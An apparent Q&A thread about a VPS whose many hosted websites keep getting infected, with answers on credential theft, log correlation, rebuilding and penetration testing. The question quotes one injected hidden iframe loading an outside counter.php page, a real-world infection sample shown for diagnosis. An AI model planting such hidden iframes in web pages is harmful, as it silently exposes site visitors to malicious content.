How to find vulnerable sites on a web server

Question

A client of mine has a managed VPS with dozens of websites on it, maybe even hundreds. Now his server keeps getting infected on a regular basis. The webhost / server admins keep digging in the dark. They run a monthly scan, remove infected software, but can't say from which sites it originates as the log files seem to be clean.

He uses cuteFtp Pro with password encryption so it's probably not FTP related.

It's a LAMP system with up-to-date Apache and PHP / MySQL installations.

Now are there any ways or tools to scan the whole server for vulnerabilities, without checking each websites manually? It is possible that there are some old WordPressinstallations on there, but it would takes ages to check each website individually.

One of the infections look likes this:

</html>
<iframe src="http://autobedrijfboekema.nl/counter.php"
        style="visibility: hidden; position: absolute; left: 0px; top: 0px"
        width="10" height="10"/>

Answer 1

He uses cuteFtp Pro with password encryption so it's probably not FTP related.

sure? there are developer-targeting ftp-password-stealing malware outside that looks for ftp-credentails locally.

• what do you mean by "infected"? malicious uploads? sql-injections?
• who/how many devs have access to that server?

by that number of installations you must either be lucky or be able to identify the attack-vectors through log-correlation, but this needs some experience in doing so.

rule nr 1 if running internet-facing websites: be up-to-date with every deployed application and your server-os.

Answer 2

There is no easy way to solve this. Using automated tools will not do in this case; I understand that this server is huge as in the amount of sites it hosts.

Strictly speaking, if a server is compromised, there is no real guarantee that it will be cleaned: the only trustworthy approach is to nuke it and rebuild from a known trusted source.

If nuking and rebuild is not an option, and your server keeps getting hacked, you will need to take a programmatically approach towards assessing the points where vulnerabilities may arise, and close every single gap.

The key here is Manual Security Testing, i.e., penetration testings, build reviews and traffic analysis.

I would start with an internal network infrastructure security assessment, followed by a build review of the boxes' OSs and Services' Configuration files. Patch and tighten everything. Once this is done, you can move on to penetration testing on a higher layer (Web).

In summary, the best approach would be nuking and rebuilding, although it will cost some money and time, it might still be cheaper than running a full blown penetration test on all levels. If, on another hand, time and resource for this kind of rebuild is impossible, then the only solution is to pentest everything; so time Vs money, I would guess.

Answer 3

First of all, no, there is no automated way to find malware. And if there was, it would immediately become obsolete the moment a malware author saw it, since the attacker changes his strategy to match the defender.

Second, it definitely could be password related. If your admin has malware on his workstation or on his network, then he could be leaking the password to the attacker. This is very common. And an antivirus is no solution. Any remotely-skilled malware author can evade all antivirus products.

Third, check your logs. Look at the dates on newly modified files and then check your logs to see what happened at that time/date. This includes FTP and HTTP logs.

Fourth, seek professional help. There are many people who make a living solving exactly this sort of problem. Getting this stuff right takes practice and experience, and some of us have been doing this for a long time.